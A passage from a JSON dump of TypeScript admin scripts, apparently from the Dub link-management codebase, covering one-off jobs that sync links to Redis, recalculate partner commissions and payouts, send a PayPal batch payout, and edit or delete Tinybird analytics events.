    "content": "import { RedisLinkProps } from \"@/lib/types\";\nimport { redis } from \"@/lib/upstash\";\nimport { prisma } from \"@dub/prisma\";\nimport { chunk } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const allExpiredLinks = await prisma.link.findMany({\n    where: {\n      NOT: {\n        expiresAt: null,\n      },\n    },\n    select: {\n      id: true,\n      domain: true,\n      key: true,\n      expiresAt: true,\n    },\n    orderBy: {\n      expiresAt: \"asc\",\n    },\n    skip: 2000,\n  });\n\n  let count = 0;\n  const chunks = chunk(allExpiredLinks, 100);\n\n  for (const chunk of chunks) {\n    const redisLinks = await redis.mget<RedisLinkProps[]>(\n      chunk.map((link) => `${link.domain}:${link.key}`),\n    );\n\n    const pipeline = redis.pipeline();\n    redisLinks.forEach((link, idx) => {\n      const { domain, key, expiresAt } = chunk[idx];\n      // @ts-ignore (old version)\n      const { expired, ...rest } = link || {};\n      // WARNING: OLD VERSION OF REDIS IMPLEMENTATION, WE NOW USE HSET (hashes)\n      pipeline.set(`${domain}:${key}`, {\n        ...rest,\n        expiresAt,\n      });\n    });\n\n    await pipeline.exec();\n\n    count += chunk.length;\n\n    console.log(`Synced ${count} expired links...`);\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/sync-limits.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const response = await prisma.project.updateMany({\n    where: {\n      plan: \"business\",\n    },\n    data: {\n      domainsLimit: 40,\n    },\n  });\n\n  console.log(response);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/sync-link-clicks.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport * as fs from \"fs\";\nimport * as Papa from \"papaparse\";\n\nconst index = 24000;\nconst linkClicks: { domain: string; key: string; clicks: string }[] = [];\n\nasync function main() {\n  Papa.parse(fs.createReadStream(\"sql.csv\", \"utf-8\"), {\n    header: true,\n    step: (result: {\n      data: { domain: string; key: string; clicks: string };\n    }) => {\n      linkClicks.push(result.data);\n    },\n    complete: async () => {\n      const linksWithClicks = await prisma.link.findMany({\n        where: {\n          clicks: {\n            gt: 0,\n          },\n        },\n        select: {\n          domain: true,\n          key: true,\n        },\n      });\n      console.table(linkClicks.slice(0, 50));\n\n      const linkClicksToUpdate = linkClicks\n        .filter((linkClick) => {\n          const { domain, key } = linkClick;\n          return linksWithClicks.find(\n            (link) => link.domain === domain && link.key === key,\n          );\n        })\n        .slice(index, index + 1000);\n\n      await Promise.all(\n        linkClicksToUpdate.map((linkClick) => {\n          const { domain, key, clicks } = linkClick;\n          console.log(`Updating ${domain}/${key} with ${clicks} clicks.`);\n          return prisma.link.update({\n            where: {\n              domain_key: {\n                domain,\n                key,\n              },\n            },\n            data: {\n              clicks: parseInt(clicks),\n            },\n          });\n        }),\n      );\n\n      console.log(\n        `Done updating ${index} to ${index + linkClicksToUpdate.length} links.`,\n      );\n    },\n  });\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/sync-link-tags.ts",
    "content": "// import { prisma } from \"@dub/prisma\";\n// import \"dotenv-flow/config\";\n\n// /**\n//  * Propagates LinkTag records for links with tagIds\n//  */\n// async function main() {\n//   // Get all links with Tags but without TagLinks\n//   const links = await prisma.link.findMany({\n//     where: {\n//       tagId: {\n//         not: null,\n//       },\n//       tags: {\n//         none: {},\n//       },\n//     },\n//     take: 5000,\n//   });\n\n//   // make sure all tagId exist\n//   const tagIds = links.map(({ tagId }) => tagId!);\n//   const tags = await prisma.tag.findMany({\n//     where: {\n//       id: {\n//         in: tagIds,\n//       },\n//     },\n//   });\n\n//   const missingTags = tagIds.filter(\n//     (tagId) => tags.find((tag) => tag.id === tagId) === undefined,\n//   );\n//   console.log(`Missing tags: ${missingTags.length}`, missingTags);\n\n//   // filter out links with tagIds that don't exist\n//   const linksWithValidTags = links.filter(\n//     ({ tagId }) => tags.find((tag) => tag.id === tagId) !== undefined,\n//   );\n\n//   console.log(`Updating ${links.length} links...`);\n\n//   const response = await prisma.linkTag.createMany({\n//     data: linksWithValidTags.map((link) => ({\n//       linkId: link.id,\n//       tagId: link.tagId!, // cause we filtered out links without tagId\n//     })),\n//   });\n\n//   console.log(`Created ${response.count} LinkTag records`);\n// }\n\n// main();\n"
  },
  {
    "path": "apps/web/scripts/sync-links-metadata.ts",
    "content": "import { recordLink } from \"@/lib/tinybird\";\nimport { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nconst count = 16;\nconst limit = 20000;\n\nasync function main() {\n  const links = await prisma.link.findMany({\n    include: {\n      tags: {\n        select: {\n          tag: true,\n        },\n      },\n    },\n    orderBy: [\n      {\n        clicks: \"desc\",\n      },\n      {\n        createdAt: \"asc\",\n      },\n    ],\n    skip: 10000 + limit * count,\n    take: limit,\n  });\n\n  //   const links = await prisma.domain\n  //     .findMany({\n  //       orderBy: [\n  //         {\n  //           clicks: \"desc\",\n  //         },\n  //         {\n  //           createdAt: \"asc\",\n  //         },\n  //       ],\n  //       take: 5000,\n  //     })\n  //     .then((domains) => {\n  //       return domains.map((domain) => ({\n  //         id: domain.id,\n  //         domain: domain.slug,\n  //         key: \"_root\",\n  //         url: domain.target || \"\",\n  //         tags: [] as { tagId: string }[],\n  //         projectId: domain.projectId,\n  //         createdAt: domain.createdAt,\n  //       }));\n  //     });\n\n  const res = await recordLink(links);\n\n  console.log(res);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/sync-tag-analytics.ts",
    "content": "import { recordLink } from \"@/lib/tinybird\";\nimport { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const links = await prisma.link.findMany({\n    where: {\n      tags: {\n        some: {},\n      },\n    },\n    include: {\n      tags: {\n        select: {\n          tag: true,\n        },\n      },\n    },\n    orderBy: {\n      createdAt: \"asc\",\n    },\n    skip: 0,\n    take: 1000,\n  });\n\n  const res = await recordLink(links);\n\n  console.log(res);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/tella/remind-applications.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\n// update commissions for a program\nasync function main() {\n  const programApplications = await prisma.programApplication.findMany({\n    where: {\n      programId: \"prog_xxx\",\n      enrollment: null,\n    },\n    select: {\n      id: true,\n      name: true,\n      email: true,\n      createdAt: true,\n    },\n  });\n\n  console.log(`Found ${programApplications.length} applications`);\n  console.table(programApplications);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/tella/update-commission-flat.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport \"dotenv-flow/config\";\nimport * as fs from \"fs\";\nimport * as Papa from \"papaparse\";\n\nconst flatRatePartners: string[] = [];\n\n// update commissions for a program\nasync function main() {\n  Papa.parse(fs.createReadStream(\"xxx.csv\", \"utf-8\"), {\n    header: true,\n    skipEmptyLines: true,\n    step: (result: { data: { Email: string } }) => {\n      flatRatePartners.push(result.data.Email);\n    },\n    complete: async () => {\n      const where: Prisma.CommissionWhereInput = {\n        earnings: {\n          not: 5000,\n        },\n        programId: \"prog_xxx\",\n        status: \"processed\",\n        partner: {\n          email: {\n            in: flatRatePartners,\n          },\n        },\n      };\n\n      const commissions = await prisma.commission.findMany({\n        where,\n        take: 50,\n      });\n\n      console.table(commissions, [\n        \"id\",\n        \"partnerId\",\n        \"amount\",\n        \"earnings\",\n        \"status\",\n        \"createdAt\",\n      ]);\n\n      await Promise.all(\n        commissions.map(async (commission) => {\n          // Get the first commission (earliest sale) for this customer-partner pair\n          const firstCommission = await prisma.commission.findFirst({\n            where: {\n              partnerId: commission.partnerId,\n              customerId: commission.customerId,\n              type: \"sale\",\n            },\n            orderBy: {\n              createdAt: \"asc\",\n            },\n          });\n\n          // if the partner has already been rewarded for this customer, set earnings to 0\n          // otherwise, set earnings to 5000\n          const payload: Prisma.CommissionUpdateInput = {\n            earnings:\n              firstCommission && firstCommission.id !== commission.id\n                ? 0\n                : 5000,\n          };\n\n          console.log({\n            firstCommissionId: firstCommission?.id,\n            currentCommissionId: commission.id,\n            payload,\n          });\n\n          if (payload.earnings === 5000) {\n            await prisma.commission.update({\n              where: { id: commission.id },\n              data: payload,\n            });\n          }\n\n          if (\n            commission.status === \"processed\" &&\n            commission.payoutId &&\n            payload.earnings === 5000\n          ) {\n            const difference = 5000 - commission.earnings;\n\n            console.log(\n              `Updating payout ${commission.payoutId} by ${difference}`,\n            );\n            await prisma.payout.update({\n              where: { id: commission.payoutId },\n              data: {\n                amount: {\n                  increment: difference,\n                },\n              },\n            });\n          }\n        }),\n      );\n\n      const remainingCommissions = await prisma.commission.count({\n        where,\n      });\n      console.log(`${remainingCommissions} commissions left to update`);\n    },\n  });\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/tella/update-commission-percentage.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport \"dotenv-flow/config\";\nimport * as fs from \"fs\";\nimport * as Papa from \"papaparse\";\n\nconst flatRatePartners: string[] = [];\n\n// update commissions for a program\nasync function main() {\n  Papa.parse(fs.createReadStream(\"xxx.csv\", \"utf-8\"), {\n    header: true,\n    skipEmptyLines: true,\n    step: (result: { data: { Email: string } }) => {\n      flatRatePartners.push(result.data.Email);\n    },\n    complete: async () => {\n      const where: Prisma.CommissionWhereInput = {\n        earnings: 0,\n        programId: \"prog_xxx\",\n        status: \"pending\",\n        partner: {\n          email: {\n            notIn: flatRatePartners,\n          },\n        },\n      };\n\n      const commissions = await prisma.commission.findMany({\n        where,\n        take: 100,\n      });\n\n      console.table(commissions, [\n        \"id\",\n        \"partnerId\",\n        \"amount\",\n        \"earnings\",\n        \"status\",\n        \"createdAt\",\n      ]);\n\n      await Promise.all(\n        commissions.map(async (commission) => {\n          const updatedEarnings = commission.amount * 0.3;\n          console.log(\n            `Updating ${commission.id} from ${commission.earnings} to ${updatedEarnings}`,\n          );\n          await prisma.commission.update({\n            where: { id: commission.id },\n            data: {\n              earnings: updatedEarnings,\n            },\n          });\n          if (commission.status === \"processed\" && commission.payoutId) {\n            const difference = updatedEarnings - commission.earnings;\n\n            console.log(\n              `Updating payout ${commission.payoutId} by ${difference}`,\n            );\n            await prisma.payout.update({\n              where: { id: commission.payoutId },\n              data: {\n                amount: {\n                  increment: difference,\n                },\n              },\n            });\n          }\n        }),\n      );\n\n      const remainingCommissions = await prisma.commission.count({\n        where,\n      });\n      console.log(`${remainingCommissions} commissions left to update`);\n    },\n  });\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/tella/update-commissions.ts",
    "content": "import { getProgramEnrollmentOrThrow } from \"@/lib/api/programs/get-program-enrollment-or-throw\";\nimport { calculateSaleEarnings } from \"@/lib/api/sales/calculate-sale-earnings\";\nimport { determinePartnerReward } from \"@/lib/partners/determine-partner-reward\";\nimport { prisma } from \"@dub/prisma\";\nimport { EventType, Prisma } from \"@dub/prisma/client\";\nimport \"dotenv-flow/config\";\n\n// update commissions for a program\nasync function main() {\n  const where: Prisma.CommissionWhereInput = {\n    earnings: 0,\n    programId: \"prog_xxx\",\n    status: \"pending\",\n  };\n\n  const commissions = await prisma.commission.findMany({\n    where,\n    take: 50,\n  });\n\n  const updatedCommissions = await Promise.all(\n    commissions.map(async (commission) => {\n      const programEnrollment = await getProgramEnrollmentOrThrow({\n        partnerId: commission.partnerId,\n        programId: commission.programId,\n        include: {\n          partner: true,\n          links: true,\n          ...(commission.type === \"click\" && { clickReward: true }),\n          ...(commission.type === \"lead\" && { leadReward: true }),\n          ...(commission.type === \"sale\" && { saleReward: true }),\n        },\n      });\n\n      const reward = determinePartnerReward({\n        event: commission.type as EventType,\n        programEnrollment,\n      });\n\n      if (!reward) {\n        return null;\n      }\n      // Recalculate the earnings based on the new amount\n      const earnings = calculateSaleEarnings({\n        reward,\n        sale: {\n          amount: commission.amount,\n          quantity: commission.quantity,\n        },\n      });\n\n      return prisma.commission.update({\n        where: { id: commission.id },\n        data: {\n          earnings,\n        },\n      });\n    }),\n  );\n  console.table(updatedCommissions, [\n    \"id\",\n    \"partnerId\",\n    \"amount\",\n    \"earnings\",\n    \"createdAt\",\n  ]);\n\n  const remainingCommissions = await prisma.commission.count({\n    where,\n  });\n  console.log(`${remainingCommissions} commissions left to update`);\n  const pendingCommissions = await prisma.commission.findMany({\n    where: {\n      ...where,\n      earnings: undefined,\n    },\n  });\n  console.log(\n    `${pendingCommissions.reduce((acc, curr) => acc + curr.amount, 0)} amount`,\n  );\n  console.log(\n    `${pendingCommissions.reduce((acc, curr) => acc + curr.earnings, 0)} earnings`,\n  );\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/tella/update-reward-tier.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport * as fs from \"fs\";\nimport * as Papa from \"papaparse\";\n\nconst partnersToUpdate: string[] = [];\n\n// one time script to help update partners to the right reward tier\nasync function main() {\n  Papa.parse(fs.createReadStream(\"xxx.csv\", \"utf-8\"), {\n    header: true,\n    skipEmptyLines: true,\n    step: (result: { data: { Email: string } }) => {\n      partnersToUpdate.push(result.data.Email);\n    },\n    complete: async () => {\n      const programEnrollments = await prisma.programEnrollment.findMany({\n        where: {\n          programId: \"prog_xxx\",\n          partner: {\n            email: { in: partnersToUpdate },\n          },\n        },\n        include: {\n          partner: true,\n        },\n      });\n\n      //   const res = await prisma.partnerReward.createMany({\n      //     skipDuplicates: true,\n      //     data: programEnrollments.map((pe) => ({\n      //       programEnrollmentId: pe.id,\n      //       rewardId: \"rw_2LBaxoHvmvO7YpqAaY2kAUMm\",\n      //     })),\n      //   });\n\n      //   console.log(res);\n\n      const missingProgramEnrollments = partnersToUpdate.filter(\n        (partnerEmail) =>\n          !programEnrollments.some((pe) => pe.partner.email === partnerEmail),\n      );\n\n      console.log(missingProgramEnrollments);\n    },\n  });\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/test-paypal-payouts.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport { createPaypalToken } from \"../lib/paypal/create-paypal-token\";\nimport { paypalEnv } from \"../lib/paypal/env\";\n\nasync function main() {\n  const payouts = await prisma.payout.findMany({\n    where: {\n      id: \"po_xxxxx\",\n    },\n    include: {\n      partner: true,\n      program: true,\n    },\n  });\n\n  // DON'T FORGET TO CHANGE TO PROD ENVS BEFORE RUNNING THIS SCRIPT\n  const paypalAccessToken = await createPaypalToken();\n\n  console.log({ paypalAccessToken });\n\n  console.log(\"Creating PayPal batch payout with env\", paypalEnv);\n\n  const body = {\n    sender_batch_header: {\n      sender_batch_id: payouts[0].id,\n    },\n    items: payouts.map((payout) => ({\n      recipient_type: \"EMAIL\",\n      receiver: payout.partner.paypalEmail,\n      sender_item_id: payout.id,\n      note: `Dub Partners payout (${payout.program.name})`,\n      amount: {\n        value: (payout.amount / 100).toString(),\n        currency: \"USD\",\n      },\n    })),\n  };\n\n  console.log(\n    \"Creating PayPal batch payout with body\",\n    JSON.stringify(body, null, 2),\n  );\n\n  const response = await fetch(\n    `${paypalEnv.PAYPAL_API_HOST}/v1/payments/payouts`,\n    {\n      method: \"POST\",\n      headers: {\n        \"Content-Type\": \"application/json\",\n        Authorization: `Bearer ${paypalAccessToken}`,\n      },\n      body: JSON.stringify(body),\n    },\n  );\n\n  const data = await response.json();\n\n  console.log(\"Completed PayPal batch payout with data\", data);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/testimonial/final-sync-commissions.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport \"dotenv-flow/config\";\n\n// update commissions for a program\nasync function main() {\n  const where: Prisma.CommissionWhereInput = {\n    programId: \"prog_xxx\",\n    payoutId: {\n      not: null,\n    },\n    status: \"processed\",\n  };\n\n  const payoutsStats = await prisma.commission.groupBy({\n    by: [\"payoutId\"],\n    where,\n    _count: true,\n    _sum: {\n      earnings: true,\n    },\n    orderBy: {\n      _sum: {\n        earnings: \"desc\",\n      },\n    },\n  });\n  console.log(payoutsStats);\n\n  const actualPayouts = await prisma.payout.findMany({\n    where: {\n      id: {\n        in: payoutsStats.map((payout) => payout.payoutId!),\n      },\n    },\n    select: {\n      id: true,\n      amount: true,\n    },\n  });\n\n  for (const payout of actualPayouts) {\n    const payoutStats = payoutsStats.find(\n      (payoutStat) => payoutStat.payoutId === payout.id,\n    );\n    if (!payoutStats) {\n      console.log(`Payout ${payout.id} not found in payoutsStats`);\n      continue;\n    }\n    if (payoutStats._sum.earnings !== payout.amount) {\n      console.log(\n        `Payout ${payout.id} has a mismatch, updating payout and commissions`,\n      );\n      await prisma.payout.update({\n        where: { id: payout.id },\n        data: {\n          amount: payoutStats._sum.earnings ?? 0,\n        },\n      });\n    }\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/testimonial/sync-commissions.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport \"dotenv-flow/config\";\n\n// update commissions for a program\nasync function main() {\n  const where: Prisma.CommissionWhereInput = {\n    programId: \"prog_xxx\",\n    payoutId: {\n      not: null,\n    },\n    status: \"paid\",\n  };\n\n  const payoutsToUpdate = await prisma.commission.groupBy({\n    by: [\"payoutId\"],\n    where,\n    _count: true,\n    orderBy: {\n      _count: {\n        payoutId: \"desc\",\n      },\n    },\n  });\n\n  for (const payout of payoutsToUpdate) {\n    if (!payout.payoutId) {\n      console.log(`No payout ID found for payout ${payout.payoutId}`);\n      continue;\n    }\n\n    await prisma.commission.updateMany({\n      where: {\n        payoutId: payout.payoutId,\n        status: \"paid\",\n      },\n      data: { payoutId: null },\n    });\n\n    const remainingCommissions = await prisma.commission.findMany({\n      where: {\n        payoutId: payout.payoutId,\n      },\n    });\n\n    console.log(\n      `Updated ${payout.payoutId} to have ${remainingCommissions.length} commissions`,\n    );\n\n    if (remainingCommissions.length === 0) {\n      console.log(\n        `No remaining commissions for payout ${payout.payoutId}, deleting payout`,\n      );\n      await prisma.payout.delete({\n        where: { id: payout.payoutId },\n      });\n      continue;\n    }\n\n    await prisma.payout.update({\n      where: { id: payout.payoutId },\n      data: {\n        amount: remainingCommissions.reduce(\n          (acc, commission) => acc + commission.earnings,\n          0,\n        ),\n      },\n    });\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/testimonial/update-commissions.ts",
    "content": "import { serializeReward } from \"@/lib/api/partners/serialize-reward\";\nimport { calculateSaleEarnings } from \"@/lib/api/sales/calculate-sale-earnings\";\nimport { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport \"dotenv-flow/config\";\n\n// update commissions for a program\nasync function main() {\n  const where: Prisma.CommissionWhereInput = {\n    earnings: 0,\n    programId: \"prog_xxx\",\n  };\n\n  const commissions = await prisma.commission.findMany({\n    where,\n    take: 100,\n  });\n\n  const reward = await prisma.reward.findUniqueOrThrow({\n    where: {\n      id: \"rw_xxx\",\n    },\n  });\n\n  const updatedCommissions = await Promise.all(\n    commissions.map(async (commission) => {\n      // Recalculate the earnings based on the new amount\n      const earnings = calculateSaleEarnings({\n        reward: serializeReward(reward),\n        sale: {\n          amount: commission.amount,\n          quantity: commission.quantity,\n        },\n      });\n\n      return prisma.commission.update({\n        where: { id: commission.id },\n        data: {\n          earnings,\n        },\n      });\n    }),\n  );\n  console.table(updatedCommissions, [\n    \"id\",\n    \"partnerId\",\n    \"amount\",\n    \"earnings\",\n    \"createdAt\",\n  ]);\n\n  const remainingCommissions = await prisma.commission.count({\n    where,\n  });\n  console.log(`${remainingCommissions} commissions left to update`);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/tinybird/delete-lead-event.ts",
    "content": "import \"dotenv-flow/config\";\n\n// update tinybird sale event\nasync function main() {\n  const deleteCondition = \"customer_id = 'cus_1JR0TMY8CHWH303VGQEX6H6KQ'\";\n\n  //  delete data from tinybird\n  const deleteRes = await Promise.allSettled([\n    deleteData({\n      dataSource: \"dub_lead_events\",\n      deleteCondition,\n    }),\n    deleteData({\n      dataSource: \"dub_lead_events_mv\",\n      deleteCondition,\n    }),\n  ]);\n  console.log(deleteRes);\n}\n\nconst deleteData = async ({\n  dataSource,\n  deleteCondition,\n}: {\n  dataSource: string;\n  deleteCondition: string;\n}) => {\n  return fetch(\n    `https://api.us-east.tinybird.co/v0/datasources/${dataSource}/delete`,\n    {\n      method: \"POST\",\n      headers: {\n        Authorization: `Bearer ${process.env.TINYBIRD_API_KEY}`,\n        \"Content-Type\": \"application/x-www-form-urlencoded\",\n      },\n      body: `delete_condition=${deleteCondition}`,\n    },\n  ).then((res) => res.json());\n};\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/tinybird/delete-links.ts",
    "content": "import \"dotenv-flow/config\";\n\n// update tinybird sale event\nasync function main() {\n  const deleteCondition = \"domain = 'xyz'\";\n\n  //  delete data from tinybird\n  const deleteRes = await Promise.allSettled([\n    deleteData({\n      dataSource: \"dub_links_metadata\",\n      deleteCondition,\n    }),\n    deleteData({\n      dataSource: \"dub_links_metadata_latest\",\n      deleteCondition,\n    }),\n    deleteData({\n      dataSource: \"dub_regular_links_metadata_latest\",\n      deleteCondition,\n    }),\n  ]);\n  console.log(deleteRes);\n}\n\nconst deleteData = async ({\n  dataSource,\n  deleteCondition,\n}: {\n  dataSource: string;\n  deleteCondition: string;\n}) => {\n  return fetch(\n    `https://api.us-east.tinybird.co/v0/datasources/${dataSource}/delete`,\n    {\n      method: \"POST\",\n      headers: {\n        Authorization: `Bearer ${process.env.TINYBIRD_API_KEY}`,\n        \"Content-Type\": \"application/x-www-form-urlencoded\",\n      },\n      body: `delete_condition=${deleteCondition}`,\n    },\n  ).then((res) => res.json());\n};\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/tinybird/delete-sale-event.ts",
    "content": "import \"dotenv-flow/config\";\n\n// update tinybird sale event\nasync function main() {\n  const deleteCondition = \"event_id = 'PBsBVOHgVrBcs68F'\";\n\n  //  delete data from tinybird\n  const deleteRes = await Promise.allSettled([\n    deleteData({\n      dataSource: \"dub_sale_events\",\n      deleteCondition,\n    }),\n    deleteData({\n      dataSource: \"dub_sale_events_mv\",\n      deleteCondition,\n    }),\n    deleteData({\n      dataSource: \"dub_sale_events_id\",\n      deleteCondition,\n    }),\n  ]);\n  console.log(deleteRes);\n}\n\nconst deleteData = async ({\n  dataSource,\n  deleteCondition,\n}: {\n  dataSource: string;\n  deleteCondition: string;\n}) => {\n  return fetch(\n    `https://api.us-east.tinybird.co/v0/datasources/${dataSource}/delete`,\n    {\n      method: \"POST\",\n      headers: {\n        Authorization: `Bearer ${process.env.TINYBIRD_API_KEY}`,\n        \"Content-Type\": \"application/x-www-form-urlencoded\",\n      },\n      body: `delete_condition=${deleteCondition}`,\n    },\n  ).then((res) => res.json());\n};\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/tinybird/update-click-event.ts",
    "content": "import \"dotenv-flow/config\";\nimport { getClickEvent } from \"../../lib/tinybird/get-click-event\";\n\n// update tinybird sale event\nasync function main() {\n  const clickId = \"liE74JEvfIBXKNmR\";\n  const columnName = \"link_id\";\n  const columnValue = \"link_1JRVCZWHWACS7R2KZB9ME6CJR\";\n\n  const oldData = await getClickEvent({ clickId });\n  if (!oldData) {\n    console.log(\"No data found\");\n    return;\n  }\n  const updatedData = {\n    ...oldData,\n    vercel_region: \"iad1\",\n    [columnName]: columnValue,\n  };\n  console.log(updatedData);\n\n  const res = await fetch(\n    `${process.env.TINYBIRD_API_URL}/v0/events?name=dub_click_events&wait=true`,\n    {\n      method: \"POST\",\n      headers: {\n        Authorization: `Bearer ${process.env.TINYBIRD_API_KEY}`,\n      },\n      body: JSON.stringify(updatedData),\n    },\n  ).then((res) => res.json());\n  console.log(res);\n\n  // delete data from tinybird\n  const deleteRes = await Promise.allSettled([\n    deleteData({\n      dataSource: \"dub_click_events_mv\",\n      clickId,\n      columnName,\n      oldValue: oldData[columnName],\n    }),\n    deleteData({\n      dataSource: \"dub_click_events_id\",\n      clickId,\n      columnName,\n      oldValue: oldData[columnName],\n    }),\n  ]);\n  console.log(deleteRes);\n}\n\nconst deleteData = async ({\n  dataSource,\n  clickId,\n  columnName,\n  oldValue,\n}: {\n  dataSource: string;\n  clickId: string;\n  columnName: string;\n  oldValue: string;\n}) => {\n  return fetch(\n    `https://api.us-east.tinybird.co/v0/datasources/${dataSource}/delete`,\n    {\n      method: \"POST\",\n      headers: {\n        Authorization: `Bearer ${process.env.TINYBIRD_API_KEY}`,\n        \"Content-Type\": \"application/x-www-form-urlencoded\",\n      },\n      body: `delete_condition=click_id='${clickId}' and ${columnName}='${oldValue}'`,\n    },\n  ).then((res) => res.json());\n};\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/tinybird/update-lead-event.ts",
    "content": "import \"dotenv-flow/config\";\nimport * as z from \"zod/v4\";\nimport { tb } from \"../../lib/tinybird/client\";\nimport { recordLeadWithTimestamp } from \"../../lib/tinybird/record-lead\";\n\nconst getLeadEvent = tb.buildPipe({\n  pipe: \"get_lead_event_by_id\",\n  parameters: z.object({\n    eventId: z.string(),\n  }),\n  data: z.any(),\n});\n\n// update tinybird lead event\nasync function main() {\n  const eventId = \"9Q22Mkh9edsHdePl\";\n  const columnName = \"event_name\";\n  const columnValue = \"Manual commission for QE6IwYufKjVaHFbreyW3\";\n\n  const { data } = await getLeadEvent({ eventId });\n  const oldData = data[0];\n  if (!oldData) {\n    console.log(\"No data found\");\n    return;\n  }\n  const updatedData = {\n    ...oldData,\n    [columnName]: columnValue,\n  };\n  console.log(updatedData);\n\n  const res = await recordLeadWithTimestamp(updatedData);\n  console.log(res);\n\n  //  delete data from tinybird\n  const deleteRes = await Promise.allSettled([\n    deleteData({\n      dataSource: \"dub_lead_events\",\n      eventId,\n      columnName,\n      oldValue: oldData[columnName],\n    }),\n    deleteData({\n      dataSource: \"dub_lead_events_mv\",\n      eventId,\n      columnName,\n      oldValue: oldData[columnName],\n    }),\n  ]);\n  console.log(deleteRes);\n}\n\nconst deleteData = async ({\n  dataSource,\n  eventId,\n  columnName,\n  oldValue,\n}: {\n  dataSource: string;\n  eventId: string;\n  columnName: string;\n  oldValue: string;\n}) => {\n  return fetch(\n    `https://api.us-east.tinybird.co/v0/datasources/${dataSource}/delete`,\n    {\n      method: \"POST\",\n      headers: {\n        Authorization: `Bearer ${process.env.TINYBIRD_API_KEY}`,\n        \"Content-Type\": \"application/x-www-form-urlencoded\",\n      },\n      body: `delete_condition=event_id='${eventId}' and ${columnName}='${oldValue}'`,\n    },\n  ).then((res) => res.json());\n};\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/tinybird/update-sale-event.ts",
    "content": "import \"dotenv-flow/config\";\nimport * as z from \"zod/v4\";\nimport { tb } from \"../../lib/tinybird/client\";\nimport { recordSaleWithTimestamp } from \"../../lib/tinybird/record-sale\";\n\nconst getSaleEvent = tb.buildPipe({\n  pipe: \"get_sale_event\",\n  parameters: z.object({\n    eventId: z.string(),\n  }),\n  data: z.any(),\n});\n\n// update tinybird sale event\nasync function main() {\n  const eventId = \"nBxldg6VxQNUCCwZ\";\n  const columnName = \"event_name\";\n  const columnValue = \"New Subscription Name\";\n\n  const { data } = await getSaleEvent({ eventId });\n  const oldData = data[0];\n  if (!oldData) {\n    console.log(\"No data found\");\n    return;\n  }\n  const updatedData = {\n    ...oldData,\n    [columnName]: columnValue,\n  };\n  console.log(updatedData);\n\n  const res = await recordSaleWithTimestamp(updatedData);\n  console.log(res);\n\n  //  delete data from tinybird\n  const deleteRes = await Promise.allSettled([\n    deleteData({\n      dataSource: \"dub_sale_events\",\n      eventId,\n      columnName,\n      oldValue: oldData[columnName],\n    }),\n    deleteData({\n      dataSource: \"dub_sale_events_mv\",\n      eventId,\n      columnName,\n      oldValue: oldData[columnName],\n    }),\n    deleteData({\n      dataSource: \"dub_sale_events_id\",\n      eventId,\n      columnName,\n      oldValue: oldData[columnName],\n    }),\n  ]);\n  console.log(deleteRes);\n}\n\nconst deleteData = async ({\n  dataSource,\n  eventId,\n  columnName,\n  oldValue,\n}: {\n  dataSource: string;\n  eventId: string;\n  columnName: string;\n  oldValue: string;\n}) => {\n  return fetch(\n    `https://api.us-east.tinybird.co/v0/datasources/${dataSource}/delete`,\n    {\n      method: \"POST\",\n      headers: {\n        Authorization: `Bearer ${process.env.TINYBIRD_API_KEY}`,\n        \"Content-Type\": \"application/x-www-form-urlencoded\",\n      },\n      body: `delete_condition=event_id='${eventId}' and ${columnName}='${oldValue}'`,\n    },\n  ).then((res) => res.json());\n};\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/trigger-update-partner-stats.ts",
